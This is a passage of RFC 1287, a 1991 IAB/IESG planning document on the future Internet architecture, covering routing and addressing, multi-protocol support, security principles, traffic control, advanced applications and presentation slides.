      reverberate constantly on many of the major mailing lists.

   1.2  Assumptions

      The priority for solving the problems with the current Internet
      architecture depends upon one's view of the future relevance of

Clark, Chapin, Cerf, Braden, & Hobby                            [Page 2]

RFC 1287            Future of Internet Architecture        December 1991

      TCP/IP with respect to the OSI protocol suite.  One view has been
      that we should just let the TCP/IP suite strangle in its success,
      and switch to OSI protocols.  However, many of those who have
      worked hard and successfully on Internet protocols, products, and
      service are anxious to try to solve the new problems within the
      existing framework.  Furthermore, some believe that OSI protocols
      will suffer from versions of many of the same problems.

      To begin to attack these issues, the IAB and the IESG held a one-
      day joint discussion of Internet architectural issues in January
      1991.  The framework for this meeting was set by Dave Clark (see
      Appendix A for his slides).  The discussion was spirited,
      provocative, and at times controversial, with a lot of soul-
      searching over questions of relevance and future direction.  The
      major result was to reach a consensus on the following four basic
      assumptions regarding the networking world of the next 5-10 years.

      (1)  The TCP/IP and OSI suites will coexist for a long time.

           There are powerful political and market forces as well as
           some technical advantages behind the introduction of the OSI
           suite.  However, the entrenched market position of the TCP/IP
           protocols means they are very likely to continue in service
           for the foreseeable future.

      (2)  The Internet will continue to include diverse networks and
           services, and will never be comprised of a single network
           technology.

           Indeed, the range of network technologies and characteristics
           that are connected into the Internet will increase over the
           next decade.

      (3)  Commercial and private networks will be incorporated, but we
           cannot expect the common carriers to provide the entire
           service.  There will be mix of public and private networks,
           common carriers and private lines.

      (4)  The Internet architecture needs to be able to scale to 10**9
           networks.

           The historic exponential growth in the size of the Internet
           will presumably saturate some time in the future, but
           forecasting when is about as easy as forecasting the future
           economy.  In any case, responsible engineering requires an
           architecture that is CAPABLE of expanding to a worst-case
           size.  The exponent "9" is rather fuzzy; estimates have
           varied from 7 to 10.

Clark, Chapin, Cerf, Braden, & Hobby                            [Page 3]

RFC 1287            Future of Internet Architecture        December 1991

   1.3  Beginning a Planning Process

      Another result of the IAB and IESG meeting was the following list
      of the five most important areas for architectural evolution:

      (1)  Routing and Addressing

           This is the most urgent architectural problem, as it is
           directly involved in the ability of the Internet to continue
           to grow successfully.

      (2)  Multi-Protocol Architecture

           The Internet is moving towards widespread support of both the
           TCP/IP and the OSI protocol suites.  Supporting both suites
           raises difficult technical issues, and a plan -- i.e., an
           architecture -- is required to increase the chances of
           success.  This area was facetiously dubbed "making the
           problem harder for the good of mankind."

           Clark had observed that translation gateways (e.g., mail
           gateways) are very much a fact of life in Internet operation
           but are not part of the architecture or planning.  The group
           discussed the possibility of building the architecture around
           the partial connectivity that such gateways imply.

      (3)  Security Architecture

           Although military security was considered when the Internet
           architecture was designed, the modern security issues are
           much broader, encompassing commercial requirements as well.
           Furthermore, experience has shown that it is difficult to add
           security to a protocol suite unless it is built into the
           architecture from the beginning.

      (4)  Traffic Control and State

           The Internet should be extended to support "real-time"
           applications like voice and video.  This will require new
           packet queueing mechanisms in gateways -- "traffic control"
           -- and additional gateway state.

      (5)  Advanced Applications

           As the underlying Internet communication mechanism matures,
           there is an increasing need for innovation and
           standardization in building new kinds of applications.

Clark, Chapin, Cerf, Braden, & Hobby                            [Page 4]

RFC 1287            Future of Internet Architecture        December 1991

      The IAB and IESG met again in June 1991 at SDSC and devoted three
      full days to a discussion of these five topics.  This meeting,
      which was called somewhat perversely the "Architecture Retreat",
      was convened with a strong resolve to take initial steps towards
      planning evolution of the architecture.  Besides the IAB and IESG,
      the group of 32 people included the members of the Research
      Steering Group (IRSG) and a few special guests.  On the second
      day, the Retreat broke into groups, one for each of the five
      areas.  The group membership is listed in Appendix B.

      This document was assembled from the reports by the chairs of
      these groups.  This material was presented at the Atlanta IETF
      meeting, and appears in the minutes of that meeting [8].

2.  ROUTING AND ADDRESSING

   Changes are required in the addressing and routing structure of IP to
   deal with the anticipated growth and functional evolution of the
   Internet.  We expect that:

   o    The Internet will run out of certain classes of IP network
        addresses, e.g., B addresses.

   o    The Internet will run out of the 32-bit IP address space
        altogether, as the space is currently subdivided and managed.

   o    The total number of IP network numbers will grow to the point
        where reasonable routing algorithms will not be able to perform
        routing based upon network numbers.

   o    There will be a need for more than one route from a source to a
        destination, to permit variation in TOS and policy conformance.
        This need will be driven both by new applications and by diverse
        transit services.  The source, or an agent acting for the
        source, must control the selection of the route options.

   2.1  Suggested Approach

      There is general agreement on the approach needed to deal with
      these facts.

      (a)  We must move to an addressing scheme in which network numbers
           are aggregated into larger units as the basis for routing.
           An example of an aggregate is the Autonomous System, or the
           Administrative Domain (AD).

           Aggregation will accomplish several goals: define regions
           where policy is applied, control the number of routing

Clark, Chapin, Cerf, Braden, & Hobby                            [Page 5]

RFC 1287            Future of Internet Architecture        December 1991

           elements, and provide elements for network management.  Some
           believe that it must be possible to further combine
           aggregates, as in a nesting of ADs.

      (b)  We must provide some efficient means to compute common
           routes, and some general means to compute "special" routes.

           The general approach to special routes will be some form of
           route setup specified by a "source route".

      There is not full agreement on how ADs may be expected to be
      aggregated, or how routing protocols should be organized to deal
      with the aggregation boundaries.   A very general scheme may be
      used [ref. Chiappa], but some prefer a scheme that more restricts
      and defines the expected network model.

      To deal with the address space exhaustion, we must either expand
      the address space or else reuse the 32 bit field ("32bf") in
      different parts of the net.  There are several possible address
      formats that might make sense, as described in the next section.

      Perhaps more important is the question of how to migrate to the
      new scheme.  All migration plans will require that some routers
      (or other components inside the Internet) be able to rewrite
      headers to accommodate hosts that handle only the old or format or
      only the new format.  Unless the need for such format conversion
      can be inferred algorithmically, migration by itself will require
      some sort of setup of state in the conversion element.

      We should not plan a series of "small" changes to the
      architecture.  We should embark now on a plan that will take us
      past the exhaustion of the address space.  This is a more long-
      range act of planning than the Internet community has undertaken
      recently, but the problems of migration will require a long lead
      time, and it is hard to see an effective way of dealing with some
      of the more immediate problems, such as class B exhaustion, in a
      way that does not by itself take a long time.  So, once we embark
      on a plan of change, it should take us all the way to replacing
      the current 32-bit global address space.  (This conclusion is
      subject to revision if, as is always possible, some very clever
      idea surfaces that is quick to deploy and gives us some breathing
      room.  We do not mean to discourage creative thinking about
      short-term actions.  We just want to point out that even small
      changes take a long time to deploy.)

      Conversion of the address space by itself is not enough.  We must
      at the same time provide a more scalable routing architecture, and
      tools to better manage the Internet.  The proposed approach is to

Clark, Chapin, Cerf, Braden, & Hobby                            [Page 6]

RFC 1287            Future of Internet Architecture        December 1991

      ADs as the unit of aggregation for routing.  We already have
      partial means to do this.  IDPR does this.  The OSI version of BGP
      (IDRP) does this.  BGP could evolve to do this.  The additional
      facility needed is a global table that maps network numbers to
      ADs.

      For several reasons (special routes and address conversion, as
      well as accounting and resource allocation), we are moving from a
      "stateless" gateway model, where only precomputed routes are
      stored in the gateway, to a model where at least some of the
      gateways have per-connection state.

   2.2  Extended IP Address Formats

      There are three reasonable choices for the extended IP address
      format.

      A)   Replace the 32 bit field (32bf) with a field of the same size
           but with different meaning.  Instead of being globally
           unique, it would now be unique only within some smaller
           region (an AD or an aggregate of ADs).  Gateways on the
           boundary would rewrite the address as the packet crossed the
           boundary.

           Issues: (1) addresses in the body of packets must be found
           and rewritten; (2) the host software need not be changed; (3)
           some method (perhaps a hack to the DNS) must set up the
           address mappings.

           This scheme is due to Van Jacobson.  See also the work by
           Paul Tsuchiya on NAT.

      B)   Expand the 32bf to a 64 bit field (or some other new size),
           and use the field to hold a global host address and an AD for
           that host.

           This choice would provide a trivial mapping from the host to
           the value (the AD) that is the basis of routing.  Common
           routes (those selected on the basis of destination address
           without taking into account the source address as well) can
           be selected directly from the packet address, as is done
           today, without any prior setup.

      3)   Expand the 32bf to a 64 bit field (or some other new size),
           and use the field as a "flat" host identifier.  Use
           connection setup to provide routers with the mapping from
           host id to AD, as needed.

Clark, Chapin, Cerf, Braden, & Hobby                            [Page 7]

RFC 1287            Future of Internet Architecture        December 1991

           The 64 bits can now be used to simplify the problem of
           allocating host ids, as in Ethernet addresses.

      Each of these choices would require an address re-writing module
      as a part of migration.  The second and third require a change to
      the IP header, so host software must change.

   2.3  Proposed Actions

      The following actions are proposed:

      A)   Time Line

           Construct a specific set of estimates for the time at which
           the various problems above will arise, and construct a
           corresponding time-line for development and deployment of a
           new addressing/routing architecture.  Use this time line as a
           basis for evaluating specific proposals for changes.  This is
           a matter for the IETF.

      B)   New Address Format

           Explore the options for a next generation address format and
           develop a plan for migration.  Specifically, construct a
           prototype gateway that does address mapping.  Understand the
           complexity of this task, to guide our thinking about
           migration options.

      C)   Routing on ADs

           Take steps to make network aggregates (ADs) the basis of
           routing.  In particular, explore the several options for a
           global table that maps network numbers to ADs.  This is a
           matter for the IETF.

      D)   Policy-Based Routing

           Continue the current work on policy based routing. There are
           several specific objectives.

           -    Seek ways to control the complexity of setting policy
                (this is a human interface issue, not an algorithm
                complexity issue).

           -    Understand better the issues of maintaining connection
                state in gateways.

           -    Understand better the issues of connection state setup.

Clark, Chapin, Cerf, Braden, & Hobby                            [Page 8]

RFC 1287            Future of Internet Architecture        December 1991

      E)   Research on Further Aggregation

           Explore, as a research activity, how ADs should be aggregated
           into still larger routing elements.

           -    Consider whether the architecture should define the
                "role" of an AD or an aggregate.

           -    Consider whether one universal routing method or
                distinct methods should be used inside and outside ADs
                and aggregates.

      Existing projects planned for DARTnet will help resolve several of
      these issues: state in gateways, state setup, address mapping,
      accounting and so on.  Other experiments in the R&D community also
      bear on this area.

3.  MULTI-PROTOCOL ARCHITECTURE

   Changing the Internet to support multiple protocol suites leads to
   three specific architectural questions:

   o    How exactly will we define "the Internet"?

   o    How would we architect an Internet with n>1 protocol suites,
        regardless of what the suites are?

   o    Should we architect for partial or filtered connectivity?

   o    How to add explicit support for application gateways into the
        architecture?

   3.1  What is the "Internet"?

      It is very difficult to deal constructively with the issue of "the
      multi-protocol Internet" without first determining what we believe
      "the Internet" is (or should be).   We distinguish "the Internet",
      a set of communicating systems, from "the Internet community", a
      set of people and organizations.  Most people would accept a loose
      definition of the latter as "the set of people who believe
      themselves to be part of the Internet community".  However, no
      such "sociological" definition of the Internet itself is likely to
      be useful.

      Not too long ago, the Internet was defined by IP connectivity (IP
      and ICMP were - and still are - the only "required" Internet
      protocols).  If I could PING you, and you could PING me, then we
      were both on the Internet, and a satisfying working definition of

Clark, Chapin, Cerf, Braden, & Hobby                            [Page 9]

RFC 1287            Future of Internet Architecture        December 1991

      the Internet could be constructed as a roughly transitive closure
      of IP-speaking systems.  This model of the Internet was simple,
      uniform, and - perhaps most important - testable.  The IP-
      connectivity model clearly distinguished systems that were "on the
      Internet" from those that were not.

      As the Internet has grown and the technology on which it is based
      has gained widespread commercial acceptance, the sense of what it
      means for a system to be "on the Internet" has changed, to
      include:

      *    Any system that has partial IP connectivity, restricted by
           policy filters.

      *    Any system that runs the TCP/IP protocol suite, whether or
           not it is actually accessible from other parts of the
           Internet.

      *    Any system that can exchange RFC-822 mail, without the
           intervention of mail gateways or the transformation of mail
           objects.

      *    Any system with e-mail connectivity to the Internet, whether
           or not a mail gateway or mail object transformation is
           required.

      These definitions of "the Internet", are still based on the
      original concept of connectivity, just "moving up the stack".

      We propose instead a new definition of the Internet, based on a
      different unifying concept:

      *    "Old" Internet concept:  IP-based.

           The organizing principle is the IP address, i.e., a common
           network address space.

      *    "New" Internet concept:  Application-based.

           The organizing principle is the domain name system and
           directories, i.e., a common - albeit necessarily multiform -
           application name space.

      This suggests that the idea of "connected status", which has
      traditionally been tied to the IP address(via network numbers,
      should instead be coupled to the names and related identifying
      information contained in the distributed Internet directory.

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 10]

RFC 1287            Future of Internet Architecture        December 1991

      A naming-based definition of "the Internet" implies a much larger
      Internet community, and a much more dynamic (and unpredictable)
      operational Internet.  This argues for an Internet architecture
      based on adaptability (to a broad spectrum of possible future
      developments) rather than anticipation.

   3.2  A Process-Based Model of the Multiprotocol Internet

      Rather than specify a particular "multi-protocol Internet",
      embracing a pre-determined number of specific protocol
      architectures, we propose instead a process-oriented model of the
      Internet, which accommodates different protocol architectures
      according to the traditional "things that work" principle.

      A process-oriented Internet model includes, as a basic postulate,
      the assertion that there is no *steady-state* "multi-protocol
      Internet".  The most basic forces driving the evolution of the
      Internet are pushing it not toward multi-protocol diversity, but
      toward the original state of protocol-stack uniformity (although
      it is unlikely that it will ever actually get there).  We may
      represent this tendency of the Internet to evolve towards
      homogeneity as the most "thermodynamically stable" state by
      describing four components of a new process-based Internet
      architecture:

      Part 1: The core Internet architecture

           This is the traditional TCP/IP-based architecture.  It is the
           "magnetic center" of Internet evolution, recognizing that (a)
           homogeneity is still the best way to deal with diversity in
           an internetwork, and (b) IP connectivity is still the best
           basic model of the Internet (whether or not the actual state
           of IP ubiquity can be achieved in practice in a global
           operational Internet).

      "In the beginning", the Internet architecture consisted only of
      this first part.  The success of the Internet, however, has
      carried it beyond its uniform origins;  ubiquity and uniformity
      have been sacrificed in order to greatly enrich the Internet "gene
      pool".

      Two additional parts of the new Internet architecture express the
      ways in which the scope and extent of the Internet have been
      expanded.

      Part 2: Link sharing

           Here physical resources -- transmission media, network

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 11]

RFC 1287            Future of Internet Architecture        December 1991

           interfaces, perhaps some low-level (link) protocols -- are
           shared by multiple, non-interacting protocol suites.  This
           part of the architecture recognizes the necessity and
           convenience of coexistence, but is not concerned with
           interoperability;  it has been called "ships in the night" or
           "S.I.N.".

           Coexisting protocol suites are not, of course, genuinely
           isolated in practice;  the ships passing in the night raise
           issues of management, non-interference, coordination, and
           fairness in real Internet systems.

      Part 3: Application interoperability

           Absent ubiquity of interconnection (i.e., interoperability of
           the "underlying stacks"), it is still possible to achieve
           ubiquitous application functionality by arranging for the
           essential semantics of applications to be conveyed among
           disjoint communities of Internet systems.  This can be
           accomplished by application relays, or by user agents that
           present a uniform virtual access method to different
           application services by expressing only the shared semantics.

           This part of the architecture emphasizes the ultimate role of
           the Internet as a basis for communication among applications,
           rather than as an end in itself.  To the extent that it
           enables a population of applications and their users to move
           from one underlying protocol suite to another without
           unacceptable loss of functionality, it is also a "transition
           enabler".

      Adding parts 2 and 3 to the original Internet architecture is at
      best a mixed blessing.  Although they greatly increase the scope
      of the Internet and the size of the Internet community, they also
      introduce significant problems of complexity, cost, and
      management, and they usually represent a loss of functionality
      (particularly with respect to part 3).  Parts 2 and 3 represent
      unavoidable, but essentially undesirable, departures from the
      homogeneity represented by part 1.  Some functionality is lost,
      and additional system complexity and cost is endured, in order to
      expand the scope of the Internet.  In a perfect world, however,
      the Internet would evolve and expand without these penalties.

      There is a tendency, therefore, for the Internet to evolve in
      favor of the homogeneous architecture represented by part 1, and
      away from the compromised architectures of parts 2 and 3.  Part 4
      expresses this tendency.

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 12]

RFC 1287            Future of Internet Architecture        December 1991

      Part 4: Hybridization/Integration.

           Part 4 recognizes the desirability of integrating similar
           elements from different Internet protocol architectures to
           form hybrids that reduce the variability and complexity of
           the Internet system.  It also recognizes the desirability of
           leveraging the existing Internet infrastructure to facilitate
           the absorption of "new stuff" into the Internet, applying to
           "new stuff" the established Internet practice of test,
           evaluate, adopt.

           This part expresses the tendency of the Internet, as a
           system, to attempt to return to the original "state of grace"
           represented by the uniform architecture of part 1.  It is a
           force acting on the evolution of the Internet, although the
           Internet will never actually return to a uniform state at any
           point in the future.

      According to this dynamic process model, running X.400 mail over
      RFC 1006 on a TCP/IP stack, integrated IS-IS routing, transport
      gateways, and the development of a single common successor to the
      IP and CLNP protocols are all examples of "good things".  They
      represent movement away from the non-uniformity of parts 2 and 3
      towards greater homogeneity, under the influence of the "magnetic
      field" asserted by part 1, following the hybridization dynamic of
      part 4.

4.  SECURITY ARCHITECTURE

   4.1  Philosophical Guidelines

      The principal themes for development of an Internet security
      architecture are simplicity, testability, trust, technology and
      security perimeter identification.

      *    There is more to security than protocols and cryptographic
           methods.

      *    The security architecture and policies should be simple
           enough to be readily understood.  Complexity breeds
           misunderstanding and poor implementation.

      *    The implementations should be testable to determine if the
           policies are met.

      *    We are forced to trust hardware, software and people to make
           any security architecture function.  We assume that the
           technical instruments of security policy enforcement are at

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 13]

RFC 1287            Future of Internet Architecture        December 1991

           least as powerful as modern personal computers and work
           stations; we do not require less capable components to be
           self-protecting (but might apply external remedies such as
           link level encryption devices).

      *    Finally, it is essential to identify security perimeters at
           which protection is to be effective.

   4.2  Security Perimeters

      There were four possible security perimeters: link level,
      net/subnet level, host level, and process/application level.  Each
      imposes different requirements, can admit different techniques,
      and makes different assumptions about what components of the
      system must be trusted to be effective.

      Privacy Enhanced Mail is an example of a process level security
      system; providing authentication and confidentiality for SNMP is
      another example.  Host level security typically means applying an
      external security mechanism on the communication ports of a host
      computer.  Network or subnetwork security means applying the
      external security capability at the gateway/router(s) leading from
      the subnetwork to the "outside".  Link-level security is the
      traditional point-to-point or media-level (e.g., Ethernet)
      encryption mechanism.

      There are many open questions about network/subnetwork security
      protection, not the least of which is a potential mismatch between
      host level (end/end) security methods and methods at the
      network/subnetwork level.  Moreover, network level protection does
      not deal with threats arising within the security perimeter.

      Applying protection at the process level assumes that the
      underlying scheduling and operating system mechanisms can be
      trusted not to prevent the application from applying security when
      appropriate.  As the security perimeter moves downward in the
      system architecture towards the link level, one must make many
      assumptions about the security threat to make an argument that
      enforcement at a particular perimeter is effective.  For example,
      if only link-level encryption is used, one must assume that
      attacks come only from the outside via communications lines, that
      hosts, switches and gateways are physically protected, and the
      people and software in all these components are to be trusted.

   4.3  Desired Security Services

      We need authenticatable distinguished names if we are to implement
      discretionary and non-discretionary access control at application

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 14]

RFC 1287            Future of Internet Architecture        December 1991

      and lower levels in the system.  In addition, we need enforcement
      for integrity (anti-modification, anti-spoof and anti-replay
      defenses), confidentiality, and prevention of denial-of-service.
      For some situations, we may also need to prevent repudiation of
      message transmission or to prevent covert channels.

      We have some building blocks with which to build the Internet
      security system.  Cryptographic algorithms are available (e.g.,
      Data Encryption Standard, RSA, El Gamal, and possibly other public
      key and symmetric key algorithms), as are hash functions such as
      MD2 and MD5.

      We need Distinguished Names (in the OSI sense) and are very much
      in need of an infrastructure for the assignment of such
      identifiers, together with widespread directory services for
      making them known.  Certificate concepts binding distinguished
      names to public keys and binding distinguished names to
      capabilities and permissions may be applied to good advantage.

      At the router/gateway level, we can apply address and protocol
      filters and other configuration controls to help fashion a
      security system.  The proposed OSI Security Protocol 3 (SP3) and
      Security Protocol 4 (SP4) should be given serious consideration as
      possible elements of an Internet security architecture.

      Finally, it must be observed that we have no good solutions to
      safely storing secret information (such as the secret component of
      a public key pair) on systems like PCs or laptop computers that
      are not designed to enforce secure storage.

   4.4  Proposed Actions

      The following actions are proposed.

      A)   Security Reference Model

           A Security Reference Model for the Internet is needed, and it
           should be developed expeditiously.  This model should
           establish the target perimeters and document the objectives
           of the security architecture.

      B)   Privacy-Enhanced Mail (PEM)

           For Privacy Enhanced Mail, the most critical steps seem to be
           the installation of (1) a certificate generation and
           management infrastructure, and (2) X.500 directory services
           to provide access to public keys via distinguished names.
           Serious attention also needs to be placed on any limitations

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 15]

RFC 1287            Future of Internet Architecture        December 1991

           imposed by patent and export restrictions on the deployment
           of this system.

      C)   Distributed System Security

           We should examine security methods for distributed systems
           applications, in both simple (client/server) and complex
           (distributed computing environment) cases.  For example, the
           utility of certificates granting permissions/capabilities to
           objects bound to distinguished names should be examined.

      D)   Host-Level Security

           SP4 should be evaluated for host-oriented security, but SP3
           should also be considered for this purpose.

      E)   Application-Level Security

           We should implement application-level security services, both
           for their immediate utility (e.g., PEM, SNMP authentication)
           and also to gain valuable practical experience that can
           inform the refinement of the Internet security architecture.

5.  TRAFFIC CONTROL AND STATE

   In the present Internet, all IP datagrams are treated equally.  Each
   datagram is forwarded independently, regardless of any relationship
   it has to other packets for the same connection, for the same
   application, for the same class of applications, or for the same user
   class.  Although Type-of-Service and Precedence bits are defined in
   the IP header, these are not generally implemented, and in fact it is
   not clear how to implement them.

   It is now widely accepted that the future Internet will need to
   support important applications for which best-effort is not
   sufficient -- e.g., packet video and voice for teleconferencing.
   This will require some "traffic control" mechanism in routers,
   controlled by additional state, to handle "real-time" traffic.

   5.1  Assumptions and Principles

      o    ASSUMPTION: The Internet will need to support performance
           guarantees for particular subsets of the traffic.

      Unfortunately, we are far from being able to give precise meanings
      to the terms "performance", "guarantees", or "subsets" in this
      statement.  Research is still needed to answer these questions.

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 16]

RFC 1287            Future of Internet Architecture        December 1991

      o    The default service will continue to be the current "best-
           effort" datagram delivery, with no service guarantees.

      o    The mechanism of a router can be separated into (1) the
           forwarding path and (2) the control computations (e.g.,
           routing) which take place in the background.

           The forwarding path must be highly optimized, sometimes with
           hardware-assist, and it is therefore relatively costly and
           difficult to change.  The traffic control mechanism operates
           in the forwarding path, under the control of state created by
           routing and resource control computations that take place in
           background.  We will have at most one shot at changing the
           forwarding paths of routers, so we had better get it right
           the first time.

      o    The new extensions must operate in a highly heterogeneous
           environment, in which some parts will never support
           guarantees.  For some hops of a path (e.g., a high-speed
           LAN), "over-provisioning" (i.e., excess capacity) will allow
           adequate service for real-time traffic, even when explicit
           resource reservation is unavailable.

      o    Multicast distribution is probably essential.

   5.2  Technical Issues

      There are a number of technical issues to be resolved, including:

      o    Resource Setup

           To support real-time traffic, resources need to be reserved
           in each router along the path from source to destination.
           Should this new router state be "hard" (as in connections) or
           "soft" (i.e., cached state)?

      o    Resource binding vs. route binding

           Choosing a path from source to destination is traditionally
           performed using a dynamic routing protocol.  The resource
           binding and the routing might be folded into a single complex
           process, or they might be performed essentially
           independently.  There is a tradeoff between complexity and
           efficiency.

      o    Alternative multicast models

           IP multicasting uses a model of logical addressing in which

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 17]

RFC 1287            Future of Internet Architecture        December 1991

           targets attach themselves to a group.  In ST-2, each host in
           a multicast session includes in its setup packet an explicit
           list of target addresses.  Each of these approaches has
           advantages and drawbacks; it is not currently clear which
           will prevail for n-way teleconferences.

      o    Resource Setup vs. Inter-AD routing

           Resource guarantees of whatever flavor must hold across an
           arbitrary end-to-end path, including multiple ADs.  Hence,
           any resource setup mechanism needs to mesh smoothly with the
           path setup mechanism incorporated into IDPR.

      o    Accounting

           The resource guarantee subsets ("classes") may be natural
           units for accounting.

   5.3  Proposed Actions

      The actions called for here are further research on the technical
      issues listed above, followed by development and standardization
      of appropriate protocols.  DARTnet, the DARPA Research Testbed
      network, will play an important role in this research.

6.  ADVANCED APPLICATIONS

   One may ask: "What network-based applications do we want, and why
   don't we have them now?"  It is easy to develop a large list of
   potential applications, many of which would be based on a
   client/server model.  However, the more interesting part of the
   question is: "Why haven't people done them already?"  We believe the
   answer to be that the tools to make application writing easy just do
   not exist.

   To begin, we need a set of common interchange formats for a number of
   data items that will be used across the network.  Once these common
   data formats have been defined, we need to develop tools that the
   applications can use to move the data easily.

   6.1  Common Interchange Formats

      The applications have to know the format of information that they
      are exchanging, for the information to have any meaning.   The
      following format types are to concern:

      (1)  Text - Of the formats in this list, text is the most stable,
           but today's international Internet has to address the needs

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 18]

RFC 1287            Future of Internet Architecture        December 1991

           of character sets other than USASCII.

      (2)  Image -  As we enter the "Multimedia Age", images will become
           increasingly important, but we need to agree on how to
           represent them in packets.

      (3)  Graphics - Like images, vector graphic information needs a
           common definition. With such a format we could exchange
           things like architectural blueprints.

      (4)  Video - Before we can have a video window running on our
           workstation, we need to know the format of that video
           information coming over the network.

      (5)  Audio/Analog - Of course, we also need the audio to go with
           the video, but such a format would be used for representation
           of all types of analog signals.

      (6)  Display - Now that we are opening windows on our workstation,
           we want to open a window on another person's workstation to
           show her some data pertinent to the research project, so now
           we need a common window display format.

      (7)  Data Objects - For inter-process communications we need to
           agree on the formats of things like integers, reals, strings,
           etc.

      Many of these formats are being defined by other, often several
      other, standards organizations.  We need to agree on one format
      per category for the Internet.

   6.2  Data Exchange Methods

      Applications will require the following methods of data exchange.

      (1)  Store and Forward

           Not everyone is on the network all the time.  We need a
           standard means of providing an information flow to
           sometimes-connected hosts, i.e., we need a common store-and-
           forward service.  Multicasting should be included in such a
           service.

      (2)  Global File Systems

           Much of the data access over the network can be broken down
           to simple file access. If you had a real global file system
           where you access any file on the Internet (assuming you have

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 19]

RFC 1287            Future of Internet Architecture        December 1991

           permission), would you ever need FTP?

      (3)  Inter-process Communications

           For a true distributed computing environment, we need the
           means to allow processes to exchange data in a standard
           method over the network.  This requirement encompasses RPC,
           APIs, etc.

      (4)  Data Broadcast

           Many  applications need to send the same information to many
           other hosts.  A standard and efficient method is needed to
           accomplish this.

      (5)  Database Access

           For good information exchange, we need to have a standard
           means for accessing databases. The Global File System can get
           you to the data, but the database access methods will tell
           you about its structure and content.

      Many of these items are being addressed by other organizations,
      but for Internet interoperability, we need to agree on the methods
      for the Internet.

      Finally, advanced applications need solutions to the problems of
      two earlier areas in this document.  From the Traffic Control and
      State area, applications need the ability to transmit real-time
      data.  This means some sort of expectation level for data delivery
      within a certain time frame.  Applications also require global
      authentication and access control systems from the Security area.
      Much of the usefulness of today's Internet applications is lost
      due to the lack of trust and security.  This needs to be solved
      for tomorrow's applications.

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 20]

RFC 1287            Future of Internet Architecture        December 1991

7.  REFERENCES

   [1]  Cerf, V. and R. Kahn, "A Protocol for Packet Network
        Intercommunication," IEEE Transactions on Communication, May
        1974.

   [2]  Postel, J., Sunshine, C., and D. Cohen, "The ARPA Internet
        Protocol," Computer Networks, Vol. 5, No. 4, July 1981.

   [3]  Leiner, B., Postel, J., Cole, R., and D. Mills, "The DARPA
        Internet Protocol Suite," Proceedings INFOCOM 85, IEEE,
        Washington DC, March 1985.  Also in: IEEE Communications
        Magazine, March 1985.

   [4]  Clark, D., "The Design Philosophy of the DARPA Internet
        Protocols", Proceedings ACM SIGCOMM '88, Stanford, California,
        August 1988.

   [5]  Mogul, J., and J. Postel, "Internet Standard Subnetting
        Procedure", RFC 950, USC/Information Sciences Institute, August
        1985.

   [6]  Mockapetris, P., "Domain Names - Concepts and Facilities", RFC
        1034, USC/Information Sciences Institute, November 1987.

   [7]  Deering, S., "Host Extensions for IP Multicasting", RFC 1112,
        Stanford University, August 1989.

   [8]  "Proceedings of the Twenty-First Internet Engineering Task
        Force", Bell-South, Atlanta, July 29 - August 2, 1991.

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 21]

RFC 1287            Future of Internet Architecture        December 1991

APPENDIX A: Setting the Stage

   Slide 1
                           WHITHER THE INTERNET?

                         OPTIONS FOR ARCHITECTURE

                           IAB/IESG -- Jan 1990

                              David D. Clark

   __________________________________________________________________
   Slide 2

                      SETTING THE TOPIC OF DISCUSSION

   Goals:

       o Establish a common frame of understanding for
         IAB, IESG and the Internet community.

       o Understand the set of problems to be solved.

       o Understand the range of solutions open to us.

       o Draw some conclusions, or else
         "meta-conclusions".

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 22]

RFC 1287            Future of Internet Architecture        December 1991

   __________________________________________________________________
   Slide 3

                        SOME CLAIMS -- MY POSITION

   We have two different goals:
      o Make it possible to build "The Internet"
      o Define a protocol suite called Internet

   Claim: These goals have very different implications.
     The protocols are but a means, though a powerful one.

   Claim: If "The Internet" is to succeed and grow, it will
     require specific design efforts.  This need will continue
     for at least another 10 years.

   Claim: Uncontrolled growth could lead to chaos.

   Claim: A grass-roots solution seems to be the only
     means to success.  Top-down mandates are powerless.

   __________________________________________________________________
   Slide 4

                          OUTLINE OF PRESENTATION

   1) The problem space and the solution space.

   2) A set of specific questions -- discussion.

   3) Return to top-level questions -- discussion.

   4) Plan for action -- meta discussion.

   Try to separate functional requirements from technical approach.

   Understand how we are bounded by our problem space and our
     solution space.

   Is architecture anything but protocols?

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 23]

RFC 1287            Future of Internet Architecture        December 1991

   __________________________________________________________________
   Slide 5

                        WHAT IS THE PROBLEM SPACE?

   Routing and addressing:
      How big, what topology, and what routing model?

   Getting big:
      User services, what technology for host and nets?

   Divestiture of the Internet:
      Accounting, controlling usage and fixing faults.

   New services:
      Video? Transactions? Distributed computing?

   Security:
      End node or network?  Routers or relays?

   __________________________________________________________________
   Slide 6

                        BOUNDING THE SOLUTION SPACE

   How far can we migrate from the current state?
      o Can we change the IP header (except to OSI)?
      o Can we change host requirements in mandatory ways?
      o Can we manage a long-term migration objective?
         -  Consistent direction vs. diverse goals, funding.

   Can we assume network-level connectivity?
      o Relays are the wave of the future (?)
      o Security a key issue; along with conversion.
      o Do we need a new "relay-based" architecture?

   How "managed" can/must "The Internet" be?
      o Can we manage or constrain connectivity?

   What protocols are we working with? One or many?

Clark, Chapin, Cerf, Braden, & Hobby                           [Page 24]

RFC 1287            Future of Internet Architecture        December 1991

   __________________________________________________________________
   Slide 7

                        THE MULTI-PROTOCOL INTERNET

   "Making the problem harder for the good of mankind."

   Are we migrating, interoperating, or tolerating multiple protocols?
      o Not all protocol suites will have same range of functionality
        at the same time.
      o "The Internet" will require specific functions.

   Claim: Fundamental conflict (not religion or spite):
      o Meeting aggressive requirements for the Internet
      o Dealing with OSI migration.

   Conclusion: One protocol must "lead", and the others must follow.
      When do we "switch" to OSI?

   Consider every following slide in this context.

   __________________________________________________________________
   Slide 8

                          ROUTING and ADDRESSING

   What is the target size of "The Internet"?
      o How do addresses and routes relate?
      o What is the model of topology?
      o What solutions are possible?

   What range of policy routing is required?
      o BGP and IDRP are two answers.  What is the question?
      o Fixed classes, or variable paths?
      o Source controlled routing is a minimum.

